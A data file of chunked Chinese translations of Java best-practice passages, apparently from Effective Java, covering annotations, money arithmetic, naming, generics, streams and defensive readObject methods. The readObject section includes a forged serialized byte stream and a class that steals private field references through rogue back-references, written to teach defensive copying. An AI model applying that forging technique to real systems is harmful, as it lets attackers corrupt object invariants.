    {"text": "以下是 RunTests 程序的相关部分在修改为使用 ExceptionTest 注解的可重复版本时的例子： // Processing repeatable annotations if (m.isAnnotationPresent(ExceptionTest.class) || m.isAnnotationPresent(ExceptionTestContainer.class)) { tests++; try { m.invoke( null ); System.out.printf( \"Test %s failed: no exception%n\" , m); } catch (Throwable wrappedExc) { Throwable exc = wrappedExc.getCause(); int oldPassed = passed; ExceptionTest[] excTests = m.getAnnotationsByType(ExceptionTest.class); for (ExceptionTest excTest : excTests) { if (excTest.value().isInstance(exc)) { passed++; break ; } } if (passed == oldPassed) System.out.printf( \"Test %s failed: %s %n\" , m, exc); } } 添加了可重复的注解以提高源代码的可读性，从逻辑上将相同注解类型的多个实例应用于给定程序元素。"},
    {"text": "如果觉得它们增强了源代码的可读性，请使用它们，但请记住，在声明和处理可重复注解时存在更多的样板，并且处理可重复的注解很容易出错。"},
    {"text": "60. 若需要精确答案就应避免使用 float 和 double 类型.md 60. 若需要精确答案就应避免使用 float 和 double 类型.md 60. 若需要精确答案就应避免使用 float 和 double 类型 float 和 double 类型主要用于科学计算和工程计算。它们执行二进制浮点运算，该算法经过精心设计，能够在很大范围内快速提供精确的近似值。但是，它们不能提供准确的结果，也不应该在需要精确结果的地方使用。 float 和 double 类型特别不适合进行货币计算 ，因为不可能将 0.1（或 10 的任意负次幂）精确地表示为 float 或 double。 例如，假设你口袋里有 1.03 美元，你消费了 42 美分。你还剩下多少钱？下面是一个简单的程序片段，试图回答这个问题： System.out.println( 1.03 - 0.42 ); 不幸的是，它输出了 0.6100000000000001。这不是一个特例。假设你口袋里有一美元，你买了 9 台洗衣机，每台 10 美分。你能得到多少零钱？ System.out.println( 1.00 - 9 * 0.10 ); 根据这个程序片段，可以得到 0.0999999999999999998 美元。 你可能认为，只需在打印之前将结果四舍五入就可以解决这个问题，但不幸的是，这种方法并不总是有效。例如，假设你口袋里有一美元，你看到一个架子上有一排好吃的糖果，它们的价格仅仅是 10 美分，20 美分，30 美分，以此类推，直到 1 美元。你每买一颗糖，从 10 美分的那颗开始，直到你买不起货架上的下一颗糖。你买了多少糖果，换了多少零钱？这里有一个简单的程序来解决这个问题： // Broken - uses floating point for monetary calculation! public static void main (String[] args) { double funds = 1.00 ; int itemsBought = 0 ; for ( double price = 0.10 ; funds >= price; price += 0.10 ) { funds -= price; itemsBought++; } System.out.println(itemsBought + \"items bought.\" ); System.out.println( \"Change: $\" + funds); } 如果你运行这个程序，你会发现你可以买得起三块糖，你还有 0.399999999999999999 美元。这是错误的答案！解决这个问题的正确方法是 使用 BigDecimal、int 或 long 进行货币计算。 这里是前一个程序的一个简单改版，使用 BigDecimal 类型代替 double。注意，使用 BigDecimal 的 String 构造函数而不是它的 double 构造函数。这是为了避免在计算中引入不准确的值 [Bloch05, Puzzle 2]： public static void main (String[] args) { final BigDecimal TEN_CENTS = new BigDecimal( \".10\" ); int itemsBought = 0 ; BigDecimal funds = new BigDecimal( \"1.00\" ); for (BigDecimal price = TEN_CENTS;funds.compareTo(price) >= 0 ;price = price.add(TEN_CENTS)) { funds = funds.subtract(price); itemsBought++; } System.out.println(itemsBought + \"items bought.\" ); System.out.println( \"Money left over: $\" + funds); } 如果你运行修改后的程序，你会发现你可以买四颗糖，最终剩下 0 美元。这是正确答案。 然而，使用 BigDecimal 有两个缺点：它与原始算术类型相比很不方便，而且速度要慢得多。如果你只解决一个简单的问题，后一种缺点是无关紧要的，但前者可能会让你烦恼。 除了使用 BigDecimal，另一种方法是使用 int 或 long，这取决于涉及的数值大小，还要自己处理十进制小数点。在这个例子中，最明显的方法是用美分而不是美元来计算。下面是一个采用这种方法的简单改版： public static void main (String[] args) { int itemsBought = 0 ; int funds = 100 ; for ( int price = 10 ; funds >= price; price += 10 ) { funds -= price; itemsBought++; } System.out.println(itemsBought + \"items bought.\" ); System.out.println( \"Cash left over: \" + funds + \" cents\" ); } 总之，对于任何需要精确答案的计算，不要使用 float 或 double 类型。如果希望系统来处理十进制小数点，并且不介意不使用基本类型带来的不便和成本，请使用 BigDecimal。使用 BigDecimal 的另一个好处是，它可以完全控制舍入，当执行需要舍入的操作时，可以从八种舍入模式中进行选择。如果你使用合法的舍入行为执行业务计算，这将非常方便。如果性能是最重要的，那么你不介意自己处理十进制小数点，而且数值不是太大，可以使用 int 或 long。如果数值不超过 9 位小数，可以使用 int；如果不超过 18 位，可以使用 long。如果数量可能超过 18 位，则使用 BigDecimal。"},
    {"text": "68. 遵守被广泛认可的命名约定.md 68. 遵守被广泛认可的命名约定.md 68. 遵守被广泛认可的命名约定 Java 平台有一组完善的命名约定，其中许多约定包含在《The Java Language Specification》[JLS, 6.1]。"},
    {"text": "虽然有些程序员仍然使用大写字母，但支持只将第一个字母大写的理由很充分：即使多个首字母缩写连续出现，你仍然可以知道一个单词从哪里开始，下一个单词从哪里结束。"},
    {"text": "方法和字段名遵循与类和接口名相同的排版约定，除了方法或字段名的第一个字母应该是小写，例如 remove 或 ensureCapacity。 如果方法或字段名的首字母缩写出现在第一个单词中，那么它应该是小写的。"},
    {"text": "常量字段是一个静态的 final 字段，其值是不可变的。 如果静态 final 字段具有基本类型或不可变引用类型(第17项)，那么它就是常量字段。 例如，枚举常量是常量字段。 如果静态 final 字段有一个可变的引用类型，那么如果所引用的对象是不可变的，那么它仍然可以是一个常量字段。"},
    {"text": "局部变量名与成员名具有类似的排版命名约定，但允许使用缩写，也允许使用单个字符和短字符序列，它们的含义取决于它们出现的上下文，例如 i、denom、houseNum。"},
    {"text": "Identifier Type Example Package or module org.junit.jupiter.api , com.google.common.collect Class or Interface Stream, FutureTask, LinkedHashMap,HttpClient Method or Field remove, groupingBy, getCrc Constant Field MIN_VALUE, NEGATIVE_INFINITY Local Variable i, denom, houseNum Type Parameter T, E, K, V, X, R, U, V, T1, T2 语法命名约定比排版约定更灵活，也更有争议。"},
    {"text": "返回布尔值的方法的名称通常以单词 is 或 has（通常很少用）开头，后面跟一个名词、一个名词短语，或者任何用作形容词的单词或短语，例如 isDigit、isProbablePrime、isEmpty、isEnabled 或 hasSiblings。 返回被调用对象的非布尔函数或属性的方法通常使用以 get 开头的名词、名词短语或动词短语来命名，例如 size、hashCode 或 getTime。"},
    {"text": "前两种形式的代码通常可读性更强，例如： if (car.speed() > 2 * SPEED_LIMIT) generateAudibleAlert( \"Watch out for cops!\" ); 以 get 开头的表单起源于基本过时的 Java bean 规范，该规范构成了早期可重用组件体系结构的基础。"},
    {"text": "转换对象类型（返回不同类型的独立对象）的实例方法通常称为 toType，例如 toString 或 toArray。 返回与接收对象类型不同的视图（详见第 6 条）的方法通常称为 asType，例如 asList。 返回与调用它们的对象具有相同值的基本类型的方法通常称为类型值，例如 intValue。"},
    {"text": "88. 保护性的编写 readObject 方法.md 88. 保护性的编写 readObject 方法.md 88. 保护性的编写 readObject 方法 第 50 条介绍了一个不可变的日期范围类，它包含可变的私有变量 Date。"},
    {"text": "该类代码如下所示： // Immutable class that uses defensive copying public final class Period { private final Date start; private final Date end; /** * @param start the beginning of the period * @param end the end of the period; must not precede start * @throws IllegalArgumentException if start is after end * @throws NullPointerException if start or end is null */ public Period (Date start, Date end) { this .start = new Date(start.getTime()); this .end = new Date(end.getTime()); if ( this .start.compareTo( this .end) > 0 ) throw new IllegalArgumentException(start + \" after \" + end); } public Date start () { return new Date(start.getTime()); } public Date end () { return new Date(end.getTime()); } public String toString () { return start + \" - \" + end; } ... // Remainder omitted } 假设决定要把这个类左晨可序列化的。"},
    {"text": "问题在于 readObject 方法实际上相当于另外一个公有的构造器，它要求同其他构造器一样警惕所有的注意事项。 构造器必须检查其参数的有效性（详见 49 条），并且在必要的时候对参数进行保护性拷贝（详见 50 条），同样的，readObject 方法也需要这样做。"},
    {"text": "对于高位 byte 值进行强制类型转换是 Java 缺少 byte 并且做出 byte 类型签名的不幸决定的后果： public class BogusPeriod { // Byte stream couldn't have come from a real Period instance! private static final byte [] serializedForm = { ( byte ) 0xac , ( byte ) 0xed , 0x00 , 0x05 , 0x73 , 0x72 , 0x00 , 0x06 , 0x50 , 0x65 , 0x72 , 0x69 , 0x6f , 0x64 , 0x40 , 0x7e , ( byte ) 0xf8 , 0x2b , 0x4f , 0x46 , ( byte ) 0xc0 , ( byte ) 0xf4 , 0x02 , 0x00 , 0x02 , 0x4c , 0x00 , 0x03 , 0x65 , 0x6e , 0x64 , 0x74 , 0x00 , 0x10 , 0x4c , 0x6a , 0x61 , 0x76 , 0x61 , 0x2f , 0x75 , 0x74 , 0x69 , 0x6c , 0x2f , 0x44 , 0x61 , 0x74 , 0x65 , 0x3b , 0x4c , 0x00 , 0x05 , 0x73 , 0x74 , 0x61 , 0x72 , 0x74 , 0x71 , 0x00 , 0x7e , 0x00 , 0x01 , 0x78 , 0x70 , 0x73 , 0x72 , 0x00 , 0x0e , 0x6a , 0x61 , 0x76 , 0x61 , 0x2e , 0x75 , 0x74 , 0x69 , 0x6c , 0x2e , 0x44 , 0x61 , 0x74 , 0x65 , 0x68 , 0x6a , ( byte ) 0x81 , 0x01 , 0x4b , 0x59 , 0x74 , 0x19 , 0x03 , 0x00 , 0x00 , 0x78 , 0x70 , 0x77 , 0x08 , 0x00 , 0x00 , 0x00 , 0x66 , ( byte ) 0xdf , 0x6e , 0x1e , 0x00 , 0x78 , 0x73 , 0x71 , 0x00 , 0x7e , 0x00 , 0x03 , 0x77 , 0x08 , 0x00 , 0x00 , 0x00 , ( byte ) 0xd5 , 0x17 , 0x69 , 0x22 , 0x00 , 0x78 }; public static void main (String[] args) { Period p = (Period) deserialize(serializedForm); System.out.println(p); } // Returns the object with the specified serialized form static Object deserialize ( byte [] sf) { try { return new ObjectInputStream( new ByteArrayInputStream(sf)).readObject(); } catch (IOException | ClassNotFoundException e) { throw new IllegalArgumentException(e); } } } 被用来初始化 serializedForm 的 byte 常量数组是这样产生的：首先对一个正常的 Period 实例进行序列化，然后对得到的字节流进行手工编辑。"},
    {"text": "对于这个例子而言，字节流的细节并不重要，如果你对此十分好奇，可以在《Java Object Serialization Specification》[Serialization, 6] 中查到有关序列化字节流格式的描述信息。"},
    {"text": "为了修整这个问题，可以为 Period 提供一个 readObject 方法，该方法首先调用 defaultReadObject，然后检查被反序列化之后的对象有效性。 如果有效性检查失败，readObject 方法就会抛出一个 InvalidObjectException 异常，这使得反序列化过程不能成功的完成： // readObject method with validity checking - insufficient! private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); // Check that our invariants are satisfied if (start.compareTo(end) > 0 ) throw new InvalidObjectException(start + \" after \" + end); } 尽管这样的修成避免了攻击者创建无效的 Period 实例，但是这里依旧隐藏着一个更为微妙的问题。"},
    {"text": "通过伪造字节流，要想创建可变的 Period 实例仍是有可能的，做法事：字节流以一个有效的 Period 实例开头，然后附加上两个额外的引用，指向 Period 实例中两个私有的 Date 字段。"},
    {"text": "攻击者从 ObjectInputStream 读取 Period 实例，然后读取附加在其后面的“恶意编制的对线引用”。 这些对象引用使得攻击者能够访问到 Period 对象内部的私有 Date 字段所引用的对象。 通过改变这些 Date 实例，攻击者可以改变 Period 实例。"},
    {"text": "如下的类演示了这种攻击方式： public class MutablePeriod { // A period instance public final Period period; // period's start field, to which we shouldn't have access public final Date start; // period's end field, to which we shouldn't have access public final Date end; public MutablePeriod () { try { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); // Serialize a valid Period instance out.writeObject( new Period( new Date(), new Date())); /* * Append rogue \"previous object refs\" for internal * Date fields in Period. For details, see \"Java * Object Serialization Specification,\" Section 6.4. */ byte [] ref = { 0x71 , 0 , 0x7e , 0 , 5 }; // Ref #5 bos.write(ref); // The start field ref[ 4 ] = 4 ; // Ref # 4 bos.write(ref); // The end field // Deserialize Period and \"stolen\" Date references ObjectInputStream in = new ObjectInputStream( new ByteArrayInputStream(bos.toByteArray())); period = (Period) in.readObject(); start = (Date) in.readObject(); end = (Date) in.readObject(); } catch (IOException | ClassNotFoundException e) { throw new AssertionError(e); } } } 要查看正在进行的攻击，请运行以下程序： public static void main (String[] args) { MutablePeriod mp = new MutablePeriod(); Period p = mp.period; Date pEnd = mp.end; // Let's turn back the clock pEnd.setYear( 78 ); System.out.println(p); // Bring back the 60s! pEnd.setYear( 69 ); System.out.println(p); } 在我本地机器上运行这个程序产生的输出结果如下： Wed Nov 22 00 : 21 : 29 PST 2017 - Wed Nov 22 00 : 21 : 29 PST 1978 Wed Nov 22 00 : 21 : 29 PST 2017 - Sat Nov 22 00 : 21 : 29 PST 1969 虽然 Period 实例被创建之后，他的约束条件没有被破坏。"},
    {"text": "当一个对象被反序列化的时候，对于客户端不应该拥有的对象引用，如果那个字段包含了这样的对象引用，就必须做保护性拷贝，这是非常重要的。 因此，对于每个可序列化的不可变类，如果它好汉了私有的可变字段，那么在它的 readObject 方法中，必须要对这些字段进行保护性拷贝。 下面的这些 readObject 方法可以确保 Period 类的约束条件不会遭到破坏，以保持它的不可变性： // readObject method with defensive copying and validity checking private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); // Defensively copy our mutable components start = new Date(start.getTime()); end = new Date(end.getTime()); // Check that our invariants are satisfied if (start.compareTo(end) > 0 ) throw new InvalidObjectException(start + \" after \" + end); } 注意，保护性拷贝是在有效性检查之前进行的。"},
    {"text": "此时，上面的攻击程序会产生如下输出： Wed Nov 22 00 : 23 : 41 PST 2017 - Wed Nov 22 00 : 23 : 41 PST 2017 Wed Nov 22 00 : 23 : 41 PST 2017 - Wed Nov 22 00 : 23 : 41 PST 2017 有一个简单的“石蕊”测试，可以用来确定默认的 readObject 方法是否可以被接受。"},
    {"text": "测试方法：增加一个公有的构造器，其参数对应于该对象中每个非 transient 的字段，并且无论参数的值是什么，都是不进行检查就可以保存到相应的字段中。"},
    {"text": "总而言之，在编写 readObject 方法的时候，都要这样想：你正在编写一个公有的构造器，无论给它传递什么样的字节流，它都必须产生一个有效的实例。"},
    {"text": "41. 使用标记接口定义类型.md 41. 使用标记接口定义类型.md 41. 使用标记接口定义类型 标记接口（marker interface），不包含方法声明，只是指定（或“标记”）一个类实现了具有某些属性的接口。 例如，考虑 Serializable 接口（第 12 章）。通过实现这个接口，一个类表明它的实例可以写入 ObjectOutputStream （或“序列化”）。 你可能会听说过标记注解（条目 39）标记一个接口是废弃过时的。 这个断言是不正确的。 标记接口与标记注解相比具有两个优点。 首先， 标记接口定义了一个由标记类实例实现的类型；标记注解则不会。 标记接口类型的存在允许在编译时捕获错误，如果使用标记注解，则直到运行时才能捕获错误。 Java 的序列化机制（第 6 章）使用 Serializable 标记接口来指示某个类型是可序列化的。 对传递给它的对象进行序列化的 ObjectOutputStream.writeObject 方法要求其参数可序列化。 如果此方法的参数是 Serializable 类型，则在编译时会检测到序列化不适当对象的尝试（通过类型检查）。 编译时错误检测是标记接口的意图，但不幸的是， ObjectOutputStream.write API 没有利用 Serializable 接口：它的参数被声明为 Object 类型，所以尝试序列化一个不可序列化的对象直到运行时才会失败。 标记接口对于标记注解的另一个优点是可以更精确地定位目标。 如果使用目标 ElementType.TYPE 声明注解类型，它可以应用于任何类或接口。 假设有一个标记仅适用于特定接口的实现。 如果将其定义为标记接口，则可以扩展它适用的唯一接口，保证所有标记类型也是适用的唯一接口的子类型。 可以说， Set 接口就是这样一个受限的标记接口。 它仅适用于 Collection 子类型，但不会添加超出 Collection 定义的方法。 它通常不被认为是标记接口，因为它改进了几个 Collection 方法的契约，包括 add ， equals 和 hashCode 。 但很容易想象一个标记接口，它仅适用于某些特定接口的子类型，并且不会改进任何接口方法的契约。 这样的标记接口可以描述整个对象的一些约束条件（invariant），或者说明实例有资格被某个其他类的方法处理（就像 Serializable 接口指示实例有资格被 ObjectOutputStream 处理的方式）。 标记注解优于标记接口的主要优点是它们是较大的注解工具的一部分。因此，标记注解允许在基于注解的框架中保持一致性。 所以什么时候应该使用标记注解，什么时候应该使用标记接口？显然，如果标记适用于除类或接口以外的任何程序元素，则必须使用注解，因为只能使用类和接口来实现或扩展接口。如果标记仅适用于类和接口，那么问自己问题：“可能我想编写一个或多个只接受具有此标记的对象的方法呢？”如果是这样，则应该优先使用标记接口而不是注解。这将使你可以将接口用作所讨论方法的参数类型，这将带来编译时类型检查的好处。如果你能说服自己，永远不会想写一个只接受带有标记的对象的方法，那么最好使用标记注解。另外，如果标记是大量使用注解的框架的一部分，则标记注解是明确的选择。 总之，标记接口和标记注释都有其用处。 如果你想定义一个没有任何关联的新方法的类型，一个标记接口是一种可行的方法。 如果要标记除类和接口以外的程序元素，或者将标记符合到已经大量使用注解类型的框架中，那么标记注解是正确的选择。 如果发现自己正在编写目标为 ElementType.TYPE 的标记注解类型，请花点时间确定它是否应该是注释类型，是不是标记接口是否更合适。 从某种意义来说，本条目与条目 22 的的意思正好相反，条目 22 的意思是：“如果你不想定义一个类型，不要使用接口”。本条目的意思是：如果想定义一个类型，一定要使用接口。"},
    {"text": "31. 使用限定通配符来增加API的灵活性.md 31. 使用限定通配符来增加API的灵活性.md 31. 使用限定通配符来增加 API 的灵活性 如条目 28 所述，参数化类型是不变的。"},
    {"text": "下面是它的公共 API： public class Stack < E > { public Stack () ; public void push (E e) ; public E pop () ; public boolean isEmpty () ; } 假设我们想要添加一个方法来获取一系列元素，并将它们全部推送到栈上。"},
    {"text": "以下是第一种尝试： // pushAll method without wildcard type - deficient! public void pushAll (Iterable<E> src) { for (E e : src) push(e); } 这种方法可以干净地编译，但不完全令人满意。"},
    {"text": "从逻辑上看，这似乎也应该起作用： Stack<Number> numberStack = new Stack<>(); Iterable<Integer> integers = ... ; numberStack.pushAll(integers); 但是，如果你尝试了，会得到这个错误消息，因为参数化类型是不变的： StackTest.java: 7 : error: incompatible types: Iterable<Integer> cannot be converted to Iterable<Number> numberStack.pushAll(integers); ^ 幸运的是，有对应的解决方法。"},
    {"text": "pushAll 的输入参数的类型不应该是“ E 的 Iterable 接口”，而应该是“ E 的某个子类型的 Iterable 接口”，并且有一个通配符类型，这意味着： Iterable<? extends E> 。"},
    {"text": "）让我们修改 pushAll 来使用这个类型： // Wildcard type for a parameter that serves as an E producer public void pushAll (Iterable<? extends E> src) { for (E e : src) push(e); } 有了这个改变， Stack 类不仅可以干净地编译，而且客户端代码也不会用原始的 pushAll 声明编译。"},
    {"text": "popAll 方法从栈中弹出每个元素并将元素添加到给定的集合中。 以下是第一次尝试编写 popAll 方法的过程： // popAll method without wildcard type - deficient! public void popAll (Collection<E> dst) { while (!isEmpty()) dst.add(pop()); } 同样，如果目标集合的元素类型与栈的元素类型完全匹配，则干净编译并且工作正常。"},
    {"text": "Stack<Number> numberStack = new Stack<Number>(); Collection<Object> objects = ... ; numberStack.popAll(objects); 如果尝试将此客户端代码与之前显示的 popAll 版本进行编译，则会得到与我们的第一版 pushAll 非常类似的错误： Collection<Object> 不是 Collection<Number> 的子类型。"},
    {"text": "popAll 的输入参数的类型不应该是“E 的集合”，而应该是“E 的某个父类型的集合”（其中父类型被定义为 E 是它自己的父类型[JLS，4.10]）。"},
    {"text": "让我们修改 popAll 来使用它： // Wildcard type for parameter that serves as an E consumer public void popAll (Collection<? super E> dst) { while (!isEmpty()) dst.add(pop()); } 通过这个改动， Stack 类和客户端代码都可以干净地编译。"},
    {"text": "如果一个输入参数既是一个生产者又是一个消费者，那么通配符类型对你没有好处：你需要一个精确的类型匹配，这就是没有任何通配符的情况。"},
    {"text": "条目 28 中的 Chooser 类构造方法有这样的声明： public Chooser (Collection<T> choices) 这个构造方法只使用集合选择来生产类型 T 的值（并将它们存储起来以备后用），所以它的声明应该使用一个 extends T 的通配符类型。"},
    {"text": "下面是得到的构造方法声明： // Wildcard type for parameter that serves as an T producer public Chooser (Collection<? extends T> choices) 这种改变在实践中会有什么不同吗？"},
    {"text": "下是声明： public static <E> Set<E> union (Set<E> s1, Set<E> s2) 两个参数 s1 和 s2 都是 E 的生产者，所以 PECS 助记符告诉我们该声明应该如下： public static <E> Set<E> union (Set<? extends E> s1, Set<? extends E> s2) 请注意，返回类型仍然是 Set<E> 。"},
    {"text": "通过修改后的声明，此代码将清晰地编译： Set<Integer> integers = Set.of( 1 , 3 , 5 ); Set<Double> doubles = Set.of( 2.0 , 4.0 , 6.0 ); Set<Number> numbers = union(integers, doubles); 如果使用得当，类的用户几乎不会看到通配符类型。"},
    {"text": "如果尝试在早期版本的 Java 中编译片段（以及适合的 Set.of 工厂替代版本），将会看到如此长的错综复杂的错误消息： Union.java:14: error: incompatible types Set<Number> numbers = union(integers, doubles); ^ required: Set<Number> found: Set<INT#1> where INT#1,INT#2 are intersection types: INT#1 extends Number,Comparable<? extends INT#2> INT#2 extends Number,Comparable<?> 幸运的是有办法来处理这种错误。"},
    {"text": "通过添加显式类型参数，如下所示，代码片段在 Java 8 之前的版本中进行了干净编译： // Explicit type parameter - required prior to Java 8 Set<Number> numbers = Union.<Number>union(integers, doubles); 接下来让我们把注意力转向条目 30 中的 max 方法。"},
    {"text": "这是一个列表的简单例子，它被原始声明排除，但在被修改后的版本里是允许的： List<ScheduledFuture<?>> scheduledFutures = ... ; 无法将原始方法声明应用于此列表的原因是 ScheduledFuture 不实现 Comparable<ScheduledFuture> 。"},
    {"text": "第一个使用无限制类型参数（条目 30），第二个使用无限制通配符： // Two possible declarations for the swap method public static <E> void swap (List<E> list, int i, int j) ; public static void swap (List<?> list, int i, int j) ; 这两个声明中的哪一个更可取，为什么？"},
    {"text": "通常， 如果类型参数在方法声明中只出现一次，请将其替换为通配符。 如果它是一个无限制的类型参数，请将其替换为无限制的通配符; 如果它是一个限定类型参数，则用限定通配符替换它。"},
    {"text": "这个简单的实现不会编译： public static void swap (List<?> list, int i, int j) { list.set(i, list.set(j, list.get(i))); } 试图编译它会产生这个不太有用的错误信息： Swap.java:5: error: incompatible types: Object cannot be converted to CAP#1 list.set(i, list.set(j, list.get(i))); ^ where CAP#1 is a fresh type-variable: CAP#1 extends Object from capture of ? 看起来我们不能把一个元素放回到我们刚刚拿出来的列表中。"},
    {"text": "以下是它的定义： public static void swap (List<?> list, int i, int j) { swapHelper(list, i, j); } // Private helper method for wildcard capture private static <E> void swapHelper (List<E> list, int i, int j) { list.set(i, list.set(j, list.get(i))); } swapHelper 方法知道该列表是一个 List<E> 。"},
    {"text": "每个泛型定义了一组参数化类型（parameterized types），它们由类或接口名称组成，后跟一个与泛型类型的形式类型参数[JLS，4.4,4.5] 相对应的实际类型参数的尖括号“<>”列表。"},
    {"text": "从 Java 9 开始，它仍然是合法的，但并不是典型的声明方式了： // Raw collection type - don't do this! // My stamp collection. Contains only Stamp instances. private final Collection stamps = ... ; 如果你今天使用这个声明，然后不小心把 coin 实例放入你的 stamp 集合中，错误的插入编译和运行没有错误（尽管编译器发出一个模糊的警告）： // Erroneous insertion of coin into stamp collection stamps.add( new Coin( ... )); // Emits \"unchecked call\" warning 直到您尝试从 stamp 集合中检索 coin 实例时才会发生错误： // Raw iterator type - don't do this! for (Iterator i = stamps.iterator(); i.hasNext(); ) Stamp stamp = (Stamp) i.next(); // Throws ClassCastException stamp.cancel(); 正如本书所提到的，在编译完成之后尽快发现错误是值得的，理想情况是在编译时。"},
    {"text": "对于泛型，类型声明包含的信息，而不是注释： // Parameterized collection type - typesafe private final Collection<Stamp> stamps = ... ; 从这个声明中，编译器知道 stamps 集合应该只包含 Stamp 实例，并保证它是 true ，假设你的整个代码类库编译时不发出（或者抑制;参见条目 27）任何警告。 当使用参数化类型声明声明 stamps 时，错误的插入会生成一个编译时错误消息，告诉你到底发生了什么错误： Test.java: 9 : error: incompatible types: Coin cannot be converted to Stamp c.add( new Coin()); ^ 当从集合中检索元素时，编译器会为你插入不可见的强制转换，并保证它们不会失败（再假设你的所有代码都不会生成或禁止任何编译器警告）。"},
    {"text": "虽然不应使用诸如 List 之类的原始类型，但可以使用参数化类型来允许插入任意对象（如 List<Object> ）。 原始类型 List 和参数化类型 List<Object> 之间有什么区别？"},
    {"text": "虽然可以将 List<String> 传递给 List 类型的参数，但不能将其传递给 List<Object> 类型的参数。 泛型有子类型的规则， List<String> 是原始类型 List 的子类型，但不是参数化类型 List<Object> 的子类型（条目 28）。 因此，如果使用诸如 List 之类的原始类型，则会丢失类型安全性，但是如果使用参数化类型（例如 List<Object> ）则不会。"},
    {"text": "为了具体说明，请考虑以下程序： // Fails at runtime - unsafeAdd method uses a raw type (List)! public static void main (String[] args) { List<String> strings = new ArrayList<>(); unsafeAdd(strings, Integer.valueOf( 42 )); String s = strings.get( 0 ); // Has compiler-generated cast } private static void unsafeAdd (List list, Object o) { list.add(o); } 此程序可以编译，它使用原始类型列表，但会收到警告： Test.java: 10 : warning: [unchecked] unchecked call to add (E) as a member of the raw type List list. add (o) ; ^ 实际上，如果运行该程序，则当程序尝试调用 strings.get(0) 的结果（一个 Integer ）转换为一个 String 时，会得到 ClassCastException 异常。"},
    {"text": "如果用 unsafeAdd 声明中的参数化类型 List<Object> 替换原始类型 List ，并尝试重新编译该程序，则会发现它不再编译，而是发出错误消息： Test.java: 5 : error: incompatible types: List<String> cannot be converted to List<Object> unsafeAdd (strings, Integer.valueOf( 42 ) ) ; 你可能会试图使用原始类型来处理元素类型未知且无关紧要的集合。"},
    {"text": "如果是泛型新手，那么您可以这样写： // Use of raw type for unknown element type - don't do this! static int numElementsInCommon (Set s1, Set s2) { int result = 0 ; for (Object o1 : s1) if (s2.contains(o1)) result++; return result; } 这种方法可以工作，但它使用原始类型，这是危险的。"},
    {"text": "// Uses unbounded wildcard type - typesafe and flexible static int numElementsInCommon (Set<?> s1, Set<?> s2) { ... } 无限制通配符 Set<?> 与原始类型 Set 之间有什么区别？"},
    {"text": "你可以将任何元素放入具有原始类型的集合中，轻易破坏集合的类型不变性（如第 119 页上的 unsafeAdd 方法所示）; 你不能把任何元素（除 null 之外）放入一个 Collection<?> 中。"},
    {"text": "试图这样做会产生一个像这样的编译时错误消息： WildCard.java:13: error: incompatible types: String cannot be converted to CAP#1 c.add(\"verboten\"); ^ where CAP#1 is a fresh type-variable: CAP#1 extends Object from capture of ? 不可否认的是，这个错误信息留下了一些需要的东西，但是编译器已经完成了它的工作，不管它的元素类型是什么，都不会破坏集合的类型不变性。"},
    {"text": "以下是使用泛型类型的 instanceof 运算符的首选方法： // Legitimate use of raw type - instanceof operator if (o instanceof Set) { // Raw type Set<?> s = (Set<?>) o; // Wildcard type ... } 请注意，一旦确定 o 对象是一个 Set ，则必须将其转换为通配符 Set<?> ，而不是原始类型 Set 。"},
    {"text": "作为一个快速回顾， Set<Object> 是一个参数化类型，表示一个可以包含任何类型对象的集合， Set<?> 是一个通配符类型，表示一个只能包含某些未知类型对象的集合， Set 是一个原始类型，它不在泛型类型系统之列。"},
    {"text": "为了快速参考，下表中总结了本条目（以及本章稍后介绍的一些）中介绍的术语： 术语 中文含义 举例 所在条目 Parameterized type 参数化类型 List<String> 条目 26 Actual type parameter 实际类型参数 String 条目 26 Generic type 泛型类型 List<E> 条目 26 Formal type parameter 形式类型参数 E 条目 26 Unbounded wildcard type 无限制通配符类型 List<?> 条目 26 Raw type 原始类型 List 条目 26 Bounded type parameter 限制类型参数 <E extends Number> 条目 29 Recursive type bound 递归类型限制 <T extends Comparable<T>> 条目 30 Bounded wildcard type 限制通配符类型 List<? extends Number> 条目 31 Generic method 泛型方法 static <E> List<E> asList(E[] a) 条目 30 Type token 类型令牌 String.class 条目 33"},
    {"text": "考虑条目 45 中的程序： // Stream-based program to generate the first 20 Mersenne primes public static void main (String[] args) { primes().map(p -> TWO.pow(p.intValueExact()).subtract(ONE)) .filter(mersenne -> mersenne.isProbablePrime( 50 )) .limit( 20 ) .forEach(System.out::println); } static Stream<BigInteger> primes () { return Stream.iterate(TWO, BigInteger::nextProbablePrime); } 在我的机器上，这个程序立即开始打印素数，运行到完成需要 12.5 秒。"},
    {"text": "你认为它的表现会怎样?它会快几个百分点吗?慢几个百分点?遗憾的是，它不会打印任何东西，但是 CPU 使用率会飙升到 90%，并且会无限期地停留在那里 (liveness failure:活性失败)。"},
    {"text": "所有这些数据结构的共同点的另一个重要因素是它们在顺序处理时提供了从良好到极好的引用位置（ locality of reference）：顺序元素引用在存储器中存储在一块。"},
    {"text": "流管道终端操作的性质也会影响并行执行的有效性。 如果与管道的整体工作相比，在终端操作中完成了大量的工作，并且这种操作本质上是连续的，那么并行化管道的有效性将是有限的。"},
    {"text": "如果违反了这些要求（其中一些在第 46 项中讨论过），但按顺序运行你的管道，则可能会产生正确的结果; 如果将它并行化，它可能会失败，也许是灾难性的。"},
    {"text": "即使假设正在使用一个高效的可拆分的源流、一个可并行化的或廉价的终端操作以及非干扰的函数对象，也无法从并行化中获得良好的加速效果，除非管道做了足够的实际工作来抵消与并行性相关的成本。"},
    {"text": "// 作为并行性有效的流管道的简单示例，请考虑此函数来计算π(n)，素数小于或等于 n： // Prime-counting stream pipeline - benefits from parallelization static long pi ( long n) { return LongStream.rangeClosed( 2 , n) .mapToObj(BigInteger::valueOf) .filter(i -> i.isProbablePrime( 50 )) .count(); } 在我的机器上，使用此功能计算π（10 8 ）需要 31 秒。 只需添加 parallel() 方法调用即可将时间缩短为 9.2 秒： // Prime-counting stream pipeline - parallel version static long pi ( long n) { return LongStream.rangeClosed( 2 , n) .parallel() .mapToObj(BigInteger::valueOf) .filter(i -> i.isProbablePrime( 50 )) .count(); } 换句话说，在我的四核计算机上，并行计算速度提高了 3.7 倍。"},
